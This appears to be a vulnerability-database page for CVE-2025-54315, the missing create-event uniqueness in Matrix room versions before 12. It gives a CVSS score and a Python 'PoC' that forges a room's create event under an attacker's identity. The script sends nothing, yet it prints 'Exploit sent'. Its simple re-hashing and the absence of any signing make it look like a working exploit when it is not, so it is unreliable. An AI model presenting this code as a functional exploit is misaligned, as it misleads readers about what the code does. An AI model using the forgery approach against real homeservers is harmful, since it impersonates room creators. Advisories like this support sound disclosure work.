The Matrix specification before 1.16 (i.e., with a room version before 12) lacks create event uniqueness.
CVSS Details
CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:L
Configurations (Affected Products)
No configuration data available.
Matrix Specification < 1.16
Matrix Room Version < 12（即房间版本1-11的所有实现）
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54315 PoC - Matrix Create Event Uniqueness Bypass
# This PoC demonstrates how to exploit the lack of create event uniqueness
# in Matrix protocol specification before 1.16 (room version < 12)
import json
import hashlib
# Step 1: Construct a malicious create event with forged sender
def create_malicious_event(original_event, forged_sender):
"""
Create a malicious create event that mimics the original but with
a different sender field, exploiting the lack of uniqueness check.
"""
malicious_event = original_event.copy()
malicious_event["sender"] = forged_sender # Forge the creator identity
# Keep the same type, room_id, and state_key as the original
malicious_event["type"] = "m.room.create"
malicious_event["state_key"] = "" # create events have empty state_key
# Recalculate hashes (simplified for demonstration)
event_content = json.dumps(malicious_event, sort_keys=True).encode()
malicious_event["hashes"] = {
"sha256": hashlib.sha256(event_content).hexdigest()
}
return malicious_event
# Step 2: Simulate state resolution exploit
def exploit_state_resolution(room_id, original_create_event, attacker_user_id):
"""
Exploit the state resolution algorithm by injecting a forged
create event into the room state.
"""
print(f"[*] Targeting room: {room_id}")
print(f"[*] Original creator: {original_create_event['sender']}")
print(f"[*] Attacker forging as: {attacker_user_id}")
# Create the malicious event
malicious_event = create_malicious_event(original_create_event, attacker_user_id)
# In a real exploit, this event would be sent to the homeserver
# via the Matrix client-server API:
# PUT /_matrix/client/v3/rooms/{roomId}/state/m.room.create/
# With body: { "creator": attacker_user_id, "room_version": "11" }
print(f"[+] Malicious create event constructed:")
print(json.dumps(malicious_event, indent=2))
print(f"[!] Exploit sent - awaiting state resolution on target homeserver")
return malicious_event
# Example usage (for room version < 12)
if __name__ == "__main__":
original_event = {
"sender": "@legitimate_user:matrix.org",
"type": "m.room.create",
"state_key": "",
"content": {
"creator": "@legitimate_user:matrix.org",
"room_version": "11"
},
"room_id": "!exampleRoom:matrix.org"
}
attacker = "@attacker:evil.example.com"
exploit_state_resolution(
"!exampleRoom:matrix.org",
original_event,
attacker
)